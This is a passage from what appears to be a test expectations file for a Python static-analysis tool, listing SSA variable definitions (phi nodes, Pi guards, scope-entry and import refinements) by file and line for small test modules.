FunctionExpr | +| a_simple.py:27 | p_0 = ScopeEntryDefinition | +| a_simple.py:27 | q_0 = ScopeEntryDefinition | +| a_simple.py:27 | x_0 = ParameterDefinition | +| a_simple.py:29 | p_1 = phi(p_0, p_2) | +| a_simple.py:29 | p_2 = ... | +| a_simple.py:29 | q_1 = phi(q_0, q_2) | +| a_simple.py:29 | q_2 = ... | +| a_simple.py:34 | args_0 = ParameterDefinition | +| a_simple.py:34 | f_0 = FunctionExpr | +| a_simple.py:34 | kwargs_0 = ParameterDefinition | +| b_condition.py:0 | __name___0 = ScopeEntryDefinition | +| b_condition.py:0 | __package___0 = ScopeEntryDefinition | +| b_condition.py:0 | double_attr_check_0 = ScopeEntryDefinition | +| b_condition.py:0 | g_0 = ScopeEntryDefinition | +| b_condition.py:0 | h_0 = ScopeEntryDefinition | +| b_condition.py:0 | k_0 = ScopeEntryDefinition | +| b_condition.py:0 | loop_0 = ScopeEntryDefinition | +| b_condition.py:0 | not_or_not_0 = ScopeEntryDefinition | +| b_condition.py:0 | odasa6261_0 = ScopeEntryDefinition | +| b_condition.py:0 | split_bool1_0 = ScopeEntryDefinition | +| b_condition.py:0 | v2_0 = ScopeEntryDefinition | +| b_condition.py:4 | f_0 = FunctionExpr | +| b_condition.py:4 | y_0 = ParameterDefinition | +| b_condition.py:5 | x_0 = IfExp | +| b_condition.py:8 | x_1 = IntegerLiteral | +| b_condition.py:9 | x_2 = Pi(x_0) [false] | +| b_condition.py:9 | x_3 = phi(x_1, x_2) | +| b_condition.py:11 | x_4 = IfExp | +| b_condition.py:14 | x_5 = IntegerLiteral | +| b_condition.py:15 | x_6 = Pi(x_4) [false] | +| b_condition.py:15 | x_7 = phi(x_5, x_6) | +| b_condition.py:17 | x_8 = IfExp | +| b_condition.py:20 | x_9 = None | +| b_condition.py:21 | x_10 = Pi(x_8) [false] | +| b_condition.py:21 | x_11 = phi(x_9, x_10) | +| b_condition.py:23 | x_12 = IfExp | +| b_condition.py:25 | x_13 = Pi(x_12) [true] | +| b_condition.py:25 | x_14 = IfExp | +| b_condition.py:26 | x_15 = ArgumentRefinement(x_14) | +| b_condition.py:28 | x_16 = IntegerLiteral | +| b_condition.py:29 | x_17 = phi(x_15, x_16) | +| b_condition.py:31 | x_18 = IfExp | +| b_condition.py:33 | x_19 = IntegerLiteral | +| b_condition.py:34 | x_20 = Pi(x_18) [false] | +| b_condition.py:34 | x_21 = phi(x_19, x_20) | +| b_condition.py:34 | x_22 = ArgumentRefinement(x_21) | +| b_condition.py:36 | x_23 = ArgumentRefinement(x_22) | +| b_condition.py:36 | x_24 = Pi(x_23) [true] | +| b_condition.py:37 | x_25 = ArgumentRefinement(x_24) | +| b_condition.py:39 | v2_1 = thing() | +| b_condition.py:41 | v2_2 = AttributeAssignment 'x'(v2_1) | +| b_condition.py:43 | v2_3 = Pi(v2_2) [true] | +| b_condition.py:47 | v2_4 = Pi(v2_2) [false] | +| b_condition.py:47 | v2_5 = phi(v2_3, v2_4) | +| b_condition.py:50 | g_1 = FunctionExpr | +| b_condition.py:50 | x_0 = ParameterDefinition | +| b_condition.py:50 | x_2 = Pi(x_0) [false] | +| b_condition.py:50 | x_3 = phi(x_1, x_2) | +| b_condition.py:52 | x_1 = Pi(x_0) [true] | +| b_condition.py:55 | loop_1 = FunctionExpr | +| b_condition.py:55 | seq_0 = ParameterDefinition | +| b_condition.py:55 | v_0 = ScopeEntryDefinition | +| b_condition.py:56 | v_1 = Pi(v_3) [false] | +| b_condition.py:56 | v_2 = phi(v_0, v_1, v_5) | +| b_condition.py:56 | v_3 = IterationDefinition | +| b_condition.py:58 | v_4 = Pi(v_3) [true] | +| b_condition.py:58 | v_5 = ArgumentRefinement(v_4) | +| b_condition.py:61 | double_attr_check_1 = FunctionExpr | +| b_condition.py:61 | x_0 = ParameterDefinition | +| b_condition.py:61 | x_5 = Pi(x_2) [false] | +| b_condition.py:61 | x_5 = Pi(x_3) [false] | +| b_condition.py:61 | x_7 = phi(x_1, x_4) | +| b_condition.py:61 | x_7 = phi(x_2, x_5) | +| b_condition.py:61 | y_0 = ParameterDefinition | +| b_condition.py:61 | y_2 = Pi(y_0) [false] | +| b_condition.py:61 | y_3 = phi(y_0, y_1) | +| b_condition.py:61 | y_3 = phi(y_1, y_2) | +| b_condition.py:63 | x_1 = Pi(x_0) [true] | +| b_condition.py:64 | x_2 = Pi(x_0) [false] | +| b_condition.py:65 | y_1 = Pi(y_0) [true] | +| b_condition.py:66 | x_3 = Pi(x_2) [true] | +| b_condition.py:67 | x_4 = Pi(x_3) [true] | +| b_condition.py:69 | h_1 = FunctionExpr | +| b_condition.py:70 | b_0 = IfExp | +| b_condition.py:72 | b_1 = IntegerLiteral | +| b_condition.py:73 | b_2 = Pi(b_0) [false] | +| b_condition.py:73 | b_3 = phi(b_1, b_2) | +| b_condition.py:75 | k_1 = FunctionExpr | +| b_condition.py:76 | t_0 = type | +| b_condition.py:78 | t_1 = object | +| b_condition.py:79 | t_2 = Pi(t_0) [false] | +| b_condition.py:79 | t_3 = phi(t_1, t_2) | +| b_condition.py:79 | t_4 = ArgumentRefinement(t_3) | +| b_condition.py:81 | bar_0 = ScopeEntryDefinition | +| b_condition.py:81 | bar_2 = phi(bar_0, bar_1) | +| b_condition.py:81 | foo_0 = ParameterDefinition | +| b_condition.py:81 | foo_4 = Pi(foo_1) [false] | +| b_condition.py:81 | foo_5 = phi(foo_2, foo_4) | +| b_condition.py:81 | odasa6261_1 = FunctionExpr | +| b_condition.py:82 | foo_1 = ArgumentRefinement(foo_0) | +| b_condition.py:83 | bar_1 = FunctionExpr | +| b_condition.py:83 | foo_2 = Pi(foo_1) [true] | +| b_condition.py:83 | foo_3 = ScopeEntryDefinition | +| b_condition.py:87 | split_bool1_1 = FunctionExpr | +| b_condition.py:87 | x_0 = ParameterDefinition | +| b_condition.py:87 | y_0 = ParameterDefinition | +| b_condition.py:88 | x_1 = Pi(x_0) [true] | +| b_condition.py:90 | x_4 = Pi(x_0) [false] | +| b_condition.py:90 | x_5 = SingleSuccessorGuard(x_4) [false] | +| b_condition.py:90 | x_6 = SingleSuccessorGuard(x_1) [false] | +| b_condition.py:90 | y_1 = Pi(y_0) [true] | +| b_condition.py:90 | y_4 = Pi(y_0) [false] | +| b_condition.py:92 | x_2 = SingleSuccessorGuard(x_5) [false] | +| b_condition.py:92 | x_7 = SingleSuccessorGuard(x_6) [true] | +| b_condition.py:93 | y_5 = ArgumentRefinement(y_4) | +| b_condition.py:95 | y_2 = ArgumentRefinement(y_1) | +| b_condition.py:96 | y_3 = SingleSuccessorGuard(y_2) [true] | +| b_condition.py:96 | y_6 = SingleSuccessorGuard(y_5) [false] | +| b_condition.py:97 | x_3 = ArgumentRefinement(x_2) | +| b_condition.py:99 | x_8 = ArgumentRefinement(x_7) | +| b_condition.py:101 | a_0 = ParameterDefinition | +| b_condition.py:101 | not_or_not_1 = FunctionExpr | +| b_condition.py:102 | a_1 = ArgumentRefinement(a_0) | +| b_condition.py:104 | a_2 = Pi(a_1) [false] | +| b_condition.py:105 | a_3 = Pi(a_2) [false] | +| b_condition.py:107 | a_4 = Pi(a_3) [false] | +| d_globals.py:0 | D_0 = ScopeEntryDefinition | +| d_globals.py:0 | Ugly_0 = ScopeEntryDefinition | +| d_globals.py:0 | X_0 = ScopeEntryDefinition | +| d_globals.py:0 | __name___0 = ScopeEntryDefinition | +| d_globals.py:0 | __package___0 = ScopeEntryDefinition | +| d_globals.py:0 | dict_0 = ScopeEntryDefinition | +| d_globals.py:0 | g3_0 = ScopeEntryDefinition | +| d_globals.py:0 | g4_0 = ScopeEntryDefinition | +| d_globals.py:0 | get_g4_0 = ScopeEntryDefinition | +| d_globals.py:0 | glob_0 = ScopeEntryDefinition | +| d_globals.py:0 | k_0 = ScopeEntryDefinition | +| d_globals.py:0 | modinit_0 = ScopeEntryDefinition | +| d_globals.py:0 | outer_0 = ScopeEntryDefinition | +| d_globals.py:0 | redefine_0 = ScopeEntryDefinition | +| d_globals.py:0 | set_g4_0 = ScopeEntryDefinition | +| d_globals.py:0 | set_g4_indirect_0 = ScopeEntryDefinition | +| d_globals.py:0 | tuple_0 = ScopeEntryDefinition | +| d_globals.py:0 | use_list_attribute_0 = ScopeEntryDefinition | +| d_globals.py:0 | x_0 = ScopeEntryDefinition | +| d_globals.py:0 | y_0 = ScopeEntryDefinition | +| d_globals.py:0 | z_0 = ScopeEntryDefinition | +| d_globals.py:2 | dict_2 = ScopeEntryDefinition | +| d_globals.py:2 | g1_2 = ScopeEntryDefinition | +| d_globals.py:2 | g2_2 = ScopeEntryDefinition | +| d_globals.py:2 | g3_2 = ScopeEntryDefinition | +| d_globals.py:2 | g4_1 = ScopeEntryDefinition | +| d_globals.py:2 | glob_2 = ScopeEntryDefinition | +| d_globals.py:2 | j_0 = FunctionExpr | +| d_globals.py:2 | tuple_2 = ScopeEntryDefinition | +| d_globals.py:2 | z_2 = ScopeEntryDefinition | +| d_globals.py:5 | dict_1 = IntegerLiteral | +| d_globals.py:7 | tuple_1 = tuple | +| d_globals.py:14 | g1_0 = None | +| d_globals.py:16 | assign_global_0 = FunctionExpr | +| d_globals.py:16 | g2_3 = ScopeEntryDefinition | +| d_globals.py:16 | g3_3 = ScopeEntryDefinition | +| d_globals.py:16 | g4_2 = ScopeEntryDefinition | +| d_globals.py:16 | glob_3 = ScopeEntryDefinition | +| d_globals.py:16 | z_3 = ScopeEntryDefinition | +| d_globals.py:18 | g1_3 = IntegerLiteral | +| d_globals.py:23 | g2_0 = None | +| d_globals.py:25 | g1_4 = ScopeEntryDefinition | +| d_globals.py:25 | g3_4 = ScopeEntryDefinition | +| d_globals.py:25 | g4_3 = ScopeEntryDefinition | +| d_globals.py:25 | glob_4 = ScopeEntryDefinition | +| d_globals.py:25 | init_0 = FunctionExpr | +| d_globals.py:25 | z_4 = ScopeEntryDefinition | +| d_globals.py:27 | g2_4 = IntegerLiteral | +| d_globals.py:29 | g1_1 = CallsiteRefinement(g1_0) | +| d_globals.py:29 | g2_1 = CallsiteRefinement(g2_0) | +| d_globals.py:29 | glob_1 = CallsiteRefinement(glob_0) | +| d_globals.py:29 | z_1 = CallsiteRefinement(z_0) | +| d_globals.py:33 | g3_1 = None | +| d_globals.py:35 | Ugly_1 = ClassExpr | +| d_globals.py:37 | __init___0 = FunctionExpr | +| d_globals.py:37 | g1_5 = ScopeEntryDefinition | +| d_globals.py:37 | g2_5 = ScopeEntryDefinition | +| d_globals.py:37 | g4_4 = ScopeEntryDefinition | +| d_globals.py:37 | glob_5 = ScopeEntryDefinition | +| d_globals.py:37 | self_0 = ParameterDefinition | +| d_globals.py:37 | z_5 = ScopeEntryDefinition | +| d_globals.py:39 | g3_5 = IntegerLiteral | +| d_globals.py:41 | g1_6 = ScopeEntryDefinition | +| d_globals.py:41 | g2_6 = ScopeEntryDefinition | +| d_globals.py:41 | g3_6 = ScopeEntryDefinition | +| d_globals.py:41 | g4_5 = ScopeEntryDefinition | +| d_globals.py:41 | glob_6 = ScopeEntryDefinition | +| d_globals.py:41 | meth_0 = FunctionExpr | +| d_globals.py:41 | self_0 = ParameterDefinition | +| d_globals.py:41 | z_6 = ScopeEntryDefinition | +| d_globals.py:46 | x_1 = IntegerLiteral | +| d_globals.py:49 | x_2 = IntegerLiteral | +| d_globals.py:51 | x_3 = phi(x_1, x_2) | +| d_globals.py:52 | y_1 = IntegerLiteral | +| d_globals.py:54 | y_2 = IntegerLiteral | +| d_globals.py:59 | y_3 = phi(y_1, y_2) | +| d_globals.py:62 | X_1 = ClassExpr | +| d_globals.py:62 | X_2 = ScopeEntryDefinition | +| d_globals.py:62 | g3_7 = ScopeEntryDefinition | +| d_globals.py:62 | y_0 = ScopeEntryDefinition | +| d_globals.py:62 | y_4 = ScopeEntryDefinition | +| d_globals.py:63 | y_1 = y | +| d_globals.py:64 | v4_0 = v3 | +| d_globals.py:70 | arg_0 = ParameterDefinition | +| d_globals.py:70 | g1_7 = ScopeEntryDefinition | +| d_globals.py:70 | g2_7 = ScopeEntryDefinition | +| d_globals.py:70 | g3_8 = ScopeEntryDefinition | +| d_globals.py:70 | g4_7 = ScopeEntryDefinition | +| d_globals.py:70 | glob_7 = ScopeEntryDefinition | +| d_globals.py:70 | k_1 = FunctionExpr | +| d_globals.py:70 | z_7 = ScopeEntryDefinition | +| d_globals.py:73 | g4_6 = None | +| d_globals.py:75 | g1_8 = ScopeEntryDefinition | +| d_globals.py:75 | g2_8 = ScopeEntryDefinition | +| d_globals.py:75 | g3_9 = ScopeEntryDefinition | +| d_globals.py:75 | g4_8 = ScopeEntryDefinition | +| d_globals.py:75 | get_g4_1 = FunctionExpr | +| d_globals.py:75 | glob_8 = ScopeEntryDefinition | +| d_globals.py:75 | set_g4_2 = ScopeEntryDefinition | +| d_globals.py:75 | z_8 = ScopeEntryDefinition | +| d_globals.py:77 | g1_9 = CallsiteRefinement(g1_8) | +| d_globals.py:77 | g2_9 = CallsiteRefinement(g2_8) | +| d_globals.py:77 | g3_10 = CallsiteRefinement(g3_9) | +| d_globals.py:77 | g4_9 = Pi(g4_8) [true] | +| d_globals.py:77 | g4_10 = CallsiteRefinement(g4_9) | +| d_globals.py:77 | glob_9 = CallsiteRefinement(glob_8) | +| d_globals.py:77 | z_9 = CallsiteRefinement(z_8) | +| d_globals.py:78 | g1_10 = phi(g1_8, g1_9) | +| d_globals.py:78 | g2_10 = phi(g2_8, g2_9) | +| d_globals.py:78 | g3_11 = phi(g3_9, g3_10) | +| d_globals.py:78 | g4_11 = Pi(g4_8) [false] | +| d_globals.py:78 | g4_12 = phi(g4_10, g4_11) | +| d_globals.py:78 | glob_10 = phi(glob_8, glob_9) | +| d_globals.py:78 | z_10 = phi(z_8, z_9) | +| d_globals.py:80 | g1_11 = ScopeEntryDefinition | +| d_globals.py:80 | g2_11 = ScopeEntryDefinition | +| d_globals.py:80 | g3_12 = ScopeEntryDefinition | +| d_globals.py:80 | g4_13 = ScopeEntryDefinition | +| d_globals.py:80 | glob_11 = ScopeEntryDefinition | +| d_globals.py:80 | set_g4_1 = FunctionExpr | +| d_globals.py:80 | set_g4_indirect_2 = ScopeEntryDefinition | +| d_globals.py:80 | z_11 = ScopeEntryDefinition | +| d_globals.py:81 | g1_12 = CallsiteRefinement(g1_11) | +| d_globals.py:81 | g2_12 = CallsiteRefinement(g2_11) | +| d_globals.py:81 | g3_13 = CallsiteRefinement(g3_12) | +| d_globals.py:81 | g4_14 = CallsiteRefinement(g4_13) | +| d_globals.py:81 | glob_12 = CallsiteRefinement(glob_11) | +| d_globals.py:81 | z_12 = CallsiteRefinement(z_11) | +| d_globals.py:83 | g1_13 = ScopeEntryDefinition | +| d_globals.py:83 | g2_13 = ScopeEntryDefinition | +| d_globals.py:83 | g3_14 = ScopeEntryDefinition | +| d_globals.py:83 | glob_13 = ScopeEntryDefinition | +| d_globals.py:83 | set_g4_indirect_1 = FunctionExpr | +| d_globals.py:83 | z_13 = ScopeEntryDefinition | +| d_globals.py:85 | g4_15 = False | +| d_globals.py:87 | modinit_1 = ClassExpr | +| d_globals.py:92 | modinit_2 = DeletionDefinition | +| d_globals.py:95 | g1_14 = ScopeEntryDefinition | +| d_globals.py:95 | g2_14 = ScopeEntryDefinition | +| d_globals.py:95 | g3_15 = ScopeEntryDefinition | +| d_globals.py:95 | g4_16 = ScopeEntryDefinition | +| d_globals.py:95 | glob_14 = ScopeEntryDefinition | +| d_globals.py:95 | outer_1 = FunctionExpr | +| d_globals.py:95 | z_14 = ScopeEntryDefinition | +| d_globals.py:96 | g1_16 = ScopeEntryDefinition | +| d_globals.py:96 | g2_16 = ScopeEntryDefinition | +| d_globals.py:96 | g3_17 = ScopeEntryDefinition | +| d_globals.py:96 | g4_18 = ScopeEntryDefinition | +| d_globals.py:96 | inner_0 = FunctionExpr | +| d_globals.py:96 | z_16 = ScopeEntryDefinition | +| d_globals.py:98 | glob_16 = IntegerLiteral | +| d_globals.py:101 | g1_17 = ScopeEntryDefinition | +| d_globals.py:101 | g2_17 = ScopeEntryDefinition | +| d_globals.py:101 | g3_18 = ScopeEntryDefinition | +| d_globals.py:101 | g4_19 = ScopeEntryDefinition | +| d_globals.py:101 | glob_17 = ScopeEntryDefinition | +| d_globals.py:101 | otherInner_0 = FunctionExpr | +| d_globals.py:101 | z_17 = ScopeEntryDefinition | +| d_globals.py:104 | g1_15 = CallsiteRefinement(g1_14) | +| d_globals.py:104 | g2_15 = CallsiteRefinement(g2_14) | +| d_globals.py:104 | g3_16 = CallsiteRefinement(g3_15) | +| d_globals.py:104 | g4_17 = CallsiteRefinement(g4_16) | +| d_globals.py:104 | glob_15 = CallsiteRefinement(glob_14) | +| d_globals.py:104 | z_15 = CallsiteRefinement(z_14) | +| d_globals.py:107 | g1_18 = ScopeEntryDefinition | +| d_globals.py:107 | g2_18 = ScopeEntryDefinition | +| d_globals.py:107 | g3_19 = ScopeEntryDefinition | +| d_globals.py:107 | g4_20 = ScopeEntryDefinition | +| d_globals.py:107 | glob_18 = ScopeEntryDefinition | +| d_globals.py:107 | redefine_1 = FunctionExpr | +| d_globals.py:107 | z_18 = ScopeEntryDefinition | +| d_globals.py:110 | z_19 = IntegerLiteral | +| d_globals.py:113 | glob_19 = IntegerLiteral | +| d_globals.py:118 | D_1 = ClassExpr | +| d_globals.py:120 | __init___0 = FunctionExpr | +| d_globals.py:120 | g1_19 = ScopeEntryDefinition | +| d_globals.py:120 | g2_19 = ScopeEntryDefinition | +| d_globals.py:120 | g3_20 = ScopeEntryDefinition | +| d_globals.py:120 | g4_21 = ScopeEntryDefinition | +| d_globals.py:120 | glob_20 = ScopeEntryDefinition | +| d_globals.py:120 | self_0 = ParameterDefinition | +| d_globals.py:120 | z_20 = ScopeEntryDefinition | +| d_globals.py:123 | dict_3 = ScopeEntryDefinition | +| d_globals.py:123 | foo_0 = FunctionExpr | +| d_globals.py:123 | g1_20 = ScopeEntryDefinition | +| d_globals.py:123 | g2_20 = ScopeEntryDefinition | +| d_globals.py:123 | g3_21 = ScopeEntryDefinition | +| d_globals.py:123 | g4_22 = ScopeEntryDefinition | +| d_globals.py:123 | glob_21 = ScopeEntryDefinition | +| d_globals.py:123 | self_0 = ParameterDefinition | +| d_globals.py:123 | z_21 = ScopeEntryDefinition | +| d_globals.py:126 | g1_21 = ScopeEntryDefinition | +| d_globals.py:126 | g2_21 = ScopeEntryDefinition | +| d_globals.py:126 | g3_22 = ScopeEntryDefinition | +| d_globals.py:126 | g4_23 = ScopeEntryDefinition | +| d_globals.py:126 | glob_22 = ScopeEntryDefinition | +| d_globals.py:126 | use_list_attribute_1 = FunctionExpr | +| d_globals.py:126 | z_22 = ScopeEntryDefinition | +| d_globals.py:127 | l_0 = List | +| d_globals.py:128 | g1_22 = CallsiteRefinement(g1_21) | +| d_globals.py:128 | g2_22 = CallsiteRefinement(g2_21) | +| d_globals.py:128 | g3_23 = CallsiteRefinement(g3_22) | +| d_globals.py:128 | g4_24 = CallsiteRefinement(g4_23) | +| d_globals.py:128 | glob_23 = CallsiteRefinement(glob_22) | +| d_globals.py:128 | l_1 = ArgumentRefinement(l_0) | +| d_globals.py:128 | z_23 = CallsiteRefinement(z_22) | +| e_temporal.py:0 | __name___0 = ScopeEntryDefinition | +| e_temporal.py:0 | __package___0 = ScopeEntryDefinition | +| e_temporal.py:0 | x_0 = ScopeEntryDefinition | +| e_temporal.py:2 | sys_0 = ImportExpr | +| e_temporal.py:4 | f_0 = FunctionExpr | +| e_temporal.py:4 | sys_1 = ScopeEntryDefinition | +| e_temporal.py:9 | arg_0 = ParameterDefinition | +| e_temporal.py:9 | g_0 = FunctionExpr | +| e_temporal.py:12 | x_1 = g() | +| f_finally.py:0 | __name___0 = ScopeEntryDefinition | +| f_finally.py:0 | __package___0 = ScopeEntryDefinition | +| f_finally.py:1 | Queue_0 = ClassExpr | +| f_finally.py:3 | close_0 = FunctionExpr | +| f_finally.py:3 | close_4 = Pi(close_0) [false] | +| f_finally.py:3 | close_5 = phi(close_3, close_4) | +| f_finally.py:3 | self_0 = ParameterDefinition | +| f_finally.py:3 | self_3 = phi(self_1, self_2) | +| f_finally.py:4 | self_1 = AttributeAssignment '_closed'(self_0) | +| f_finally.py:8 | close_0 = Attribute | +| f_finally.py:8 | close_1 = Attribute | +| f_finally.py:9 | close_2 = SingleSuccessorGuard(close_1) [true] | +| f_finally.py:10 | close_3 = Pi(close_0) [true] | +| f_finally.py:10 | self_2 = AttributeAssignment '_close'(self_1) | +| g_class_init.py:0 | __name___0 = ScopeEntryDefinition | +| g_class_init.py:0 | __package___0 = ScopeEntryDefinition | +| g_class_init.py:3 | C_0 = ClassExpr | +| g_class_init.py:5 | __init___0 = FunctionExpr | +| g_class_init.py:5 | self_0 = ParameterDefinition | +| g_class_init.py:6 | self_1 = SelfCallsiteRefinement(self_0) | +| g_class_init.py:7 | self_2 = AttributeAssignment 'x'(self_1) | +| g_class_init.py:9 | _init_0 = FunctionExpr | +| g_class_init.py:9 | self_0 = ParameterDefinition | +| g_class_init.py:10 | self_1 = AttributeAssignment 'y'(self_0) | +| g_class_init.py:11 | self_2 = SelfCallsiteRefinement(self_1) | +| g_class_init.py:13 | _init2_0 = FunctionExpr | +| g_class_init.py:13 | self_0 = ParameterDefinition | +| g_class_init.py:14 | self_1 = AttributeAssignment 'z'(self_0) | +| g_class_init.py:16 | method_0 = FunctionExpr | +| g_class_init.py:16 | self_0 = ParameterDefinition | +| g_class_init.py:19 | self_1 = Pi(self_0) [true] | +| g_class_init.py:20 | self_2 = Pi(self_0) [false] | +| g_class_init.py:20 | self_3 = phi(self_1, self_2) | +| g_class_init.py:24 | Oddities_0 = ClassExpr | +| g_class_init.py:24 | float_0 = ScopeEntryDefinition | +| g_class_init.py:24 | int_0 = ScopeEntryDefinition | +| g_class_init.py:26 | int_1 = int | +| g_class_init.py:27 | float_1 = float | +| g_class_init.py:28 | l_0 = len | +| g_class_init.py:29 | h_0 = hash | +| g_class_init.py:32 | D_0 = ClassExpr | +| g_class_init.py:34 | D_1 = ScopeEntryDefinition | +| g_class_init.py:34 | __init___0 = FunctionExpr | +| g_class_init.py:34 | self_0 = ParameterDefinition | +| g_class_init.py:35 | D_2 = ArgumentRefinement(D_1) | +| g_class_init.py:42 | V2_0 = Str | +| g_class_init.py:43 | V3_0 = Str | +| g_class_init.py:45 | E_0 = ClassExpr | +| g_class_init.py:46 | V2_1 = ScopeEntryDefinition | +| g_class_init.py:46 | V3_1 = ScopeEntryDefinition | +| g_class_init.py:46 | __init___0 = FunctionExpr | +| g_class_init.py:46 | c_0 = ParameterDefinition | +| g_class_init.py:46 | c_3 = phi(c_1, c_2) | +| g_class_init.py:46 | self_0 = ParameterDefinition | +| g_class_init.py:46 | self_3 = phi(self_1, self_2) | +| g_class_init.py:48 | c_1 = Pi(c_0) [true] | +| g_class_init.py:48 | self_1 = AttributeAssignment 'version'(self_0) | +| g_class_init.py:50 | c_2 = Pi(c_0) [false] | +| g_class_init.py:50 | self_2 = AttributeAssignment 'version'(self_0) | +| g_class_init.py:52 | V2_2 = ScopeEntryDefinition | +| g_class_init.py:52 | meth_0 = FunctionExpr | +| g_class_init.py:52 | self_0 = ParameterDefinition | +| g_class_init.py:52 | self_2 = Pi(self_0) [false] | +| g_class_init.py:52 | self_3 = phi(self_1, self_2) | +| g_class_init.py:54 | self_1 = Pi(self_0) [true] | +| h_classes.py:0 | Base_0 = ScopeEntryDefinition | +| h_classes.py:0 | D_0 = ScopeEntryDefinition | +| h_classes.py:0 | Derived1_0 = ScopeEntryDefinition | +| h_classes.py:0 | Derived2_0 = ScopeEntryDefinition | +| h_classes.py:0 | Derived3_0 = ScopeEntryDefinition | +| h_classes.py:0 | __name___0 = ScopeEntryDefinition | +| h_classes.py:0 | __package___0 = ScopeEntryDefinition | +| h_classes.py:0 | f_0 = ScopeEntryDefinition | +| h_classes.py:0 | k_0 = ScopeEntryDefinition | +| h_classes.py:0 | thing_0 = ScopeEntryDefinition | +| h_classes.py:1 | sys_0 = ImportExpr | +| h_classes.py:3 | C_0 = ClassExpr | +| h_classes.py:5 | x_0 = Str | +| h_classes.py:7 | __init___0 = FunctionExpr | +| h_classes.py:7 | self_0 = ParameterDefinition | +| h_classes.py:8 | self_1 = AttributeAssignment 'y'(self_0) | +| h_classes.py:11 | sys_1 = ArgumentRefinement(sys_0) | +| h_classes.py:14 | C_1 = ScopeEntryDefinition | +| h_classes.py:14 | arg_0 = ParameterDefinition | +| h_classes.py:14 | k_1 = FunctionExpr | +| h_classes.py:14 | sys_2 = ScopeEntryDefinition | +| h_classes.py:17 | arg_1 = ArgumentRefinement(arg_0) | +| h_classes.py:23 | Base_1 = ClassExpr | +| h_classes.py:25 | Derived1_2 = ScopeEntryDefinition | +| h_classes.py:25 | Derived2_2 = ScopeEntryDefinition | +| h_classes.py:25 | Derived3_2 = ScopeEntryDefinition | +| h_classes.py:25 | __init___0 = FunctionExpr | +| h_classes.py:25 | choice_0 = ParameterDefinition | +| h_classes.py:25 | choice_5 = phi(choice_1, choice_3, choice_4) | +| h_classes.py:25 | self_0 = ParameterDefinition | +| h_classes.py:25 | self_4 = phi(self_1, self_2, self_3) | +| h_classes.py:27 | choice_1 = Pi(choice_0) [true] | +| h_classes.py:27 | self_1 = AttributeAssignment '__class__'(self_0) | +| h_classes.py:28 | choice_2 = Pi(choice_0) [false] | +| h_classes.py:29 | choice_3 = Pi(choice_2) [true] | +| h_classes.py:29 | self_2 = AttributeAssignment '__class__'(self_0) | +| h_classes.py:31 | choice_4 = Pi(choice_2) [false] | +| h_classes.py:31 | self_3 = AttributeAssignment '__class__'(self_0) | +| h_classes.py:33 | Derived1_1 = ClassExpr | +| h_classes.py:36 | Derived2_1 = ClassExpr | +| h_classes.py:39 | Derived3_1 = ClassExpr | +| h_classes.py:42 | thing_1 = Base() | +| h_classes.py:45 | arg0_0 = ParameterDefinition | +| h_classes.py:45 | arg1_0 = ParameterDefinition | +| h_classes.py:45 | arg2_0 = ParameterDefinition | +| h_classes.py:45 | f_1 = FunctionExpr | +| h_classes.py:48 | D_1 = ClassExpr | +| h_classes.py:48 | f_2 = ScopeEntryDefinition | +| h_classes.py:50 | m_0 = f | +| h_classes.py:52 | arg1_0 = ParameterDefinition | +| h_classes.py:52 | n_0 = FunctionExpr | +| h_classes.py:52 | self_0 = ParameterDefinition | +| i_imports.py:0 | *_0 = ScopeEntryDefinition | +| i_imports.py:0 | BytesIO_0 = ScopeEntryDefinition | +| i_imports.py:0 | StringIO_0 = ScopeEntryDefinition | +| i_imports.py:0 | __name___0 = ScopeEntryDefinition | +| i_imports.py:0 | __package___0 = ScopeEntryDefinition | +| i_imports.py:0 | _io_0 = ScopeEntryDefinition | +| i_imports.py:0 | argv_0 = ScopeEntryDefinition | +| i_imports.py:0 | code_0 = ScopeEntryDefinition | +| i_imports.py:0 | io_0 = ScopeEntryDefinition | +| i_imports.py:0 | sys_0 = ScopeEntryDefinition | +| i_imports.py:0 | xyz_0 = ScopeEntryDefinition | +| i_imports.py:0 | z_0 = ScopeEntryDefinition | +| i_imports.py:3 | a_0 = IntegerLiteral | +| i_imports.py:4 | b_0 = IntegerLiteral | +| i_imports.py:5 | c_0 = IntegerLiteral | +| i_imports.py:7 | *_1 = ImportStarRefinement(*_0) | +| i_imports.py:7 | BytesIO_1 = ImportStarRefinement(BytesIO_0) | +| i_imports.py:7 | StringIO_1 = ImportStarRefinement(StringIO_0) | +| i_imports.py:7 | __name___1 = ImportStarRefinement(__name___0) | +| i_imports.py:7 | __package___1 = ImportStarRefinement(__package___0) | +| i_imports.py:7 | _io_1 = ImportStarRefinement(_io_0) | +| i_imports.py:7 | a_1 = ImportStarRefinement(a_0) | +| i_imports.py:7 | b_1 = ImportStarRefinement(b_0) | +| i_imports.py:7 | c_1 = ImportStarRefinement(c_0) | +| i_imports.py:7 | io_1 = ImportStarRefinement(io_0) | +| i_imports.py:7 | z_1 = ImportStarRefinement(z_0) | +| i_imports.py:8 | xyz_1 = ImportMember | +| i_imports.py:13 | argv_1 = ImportMember | +| i_imports.py:17 | sys_1 = ImportExpr | +| i_imports.py:23 | code_1 = ImportExpr | +| i_imports.py:27 | *_2 = ImportStarRefinement(*_1) | +| i_imports.py:27 | __name___2 = ImportStarRefinement(__name___1) | +| i_imports.py:27 | __package___2 = ImportStarRefinement(__package___1) | +| i_imports.py:27 | a_2 = ImportStarRefinement(a_1) | +| i_imports.py:27 | argv_2 = ImportStarRefinement(argv_1) | +| i_imports.py:27 | b_2 = ImportStarRefinement(b_1) | +| i_imports.py:27 | c_2 = ImportStarRefinement(c_1) | +| i_imports.py:27 | sys_2 = ImportStarRefinement(sys_1) | +| i_imports.py:27 | xyz_2 = ImportStarRefinement(xyz_1) | +| i_imports.py:27 | z_2 = ImportStarRefinement(z_1) | +| i_imports.py:29 | _io_2 = ImportExpr | +| i_imports.py:33 | io_2 = ImportExpr | +| i_imports.py:34 | StringIO_2 = Attribute | +| i_imports.py:35 | BytesIO_2 = Attribute | +| i_imports.py:37 | code_2 = ImportExpr | +| j_convoluted_imports.py:0 | __name___0 = ScopeEntryDefinition | +| j_convoluted_imports.py:0 | __package___0 = ScopeEntryDefinition | +| j_convoluted_imports.py:3 | module_0 = ImportMember | +| j_convoluted_imports.py:6 | x_0 = ImportMember | +| j_convoluted_imports.py:9 | C_0 = ClassExpr | +| j_convoluted_imports.py:11 | module2_0 = ImportMember | +| j_convoluted_imports.py:13 | f_0 = FunctionExpr | +| j_convoluted_imports.py:13 | self_0 = ParameterDefinition | +| j_convoluted_imports.py:14 | x_0 = ImportMember | +| j_convoluted_imports.py:16 | moduleX_0 = ImportMember | +| 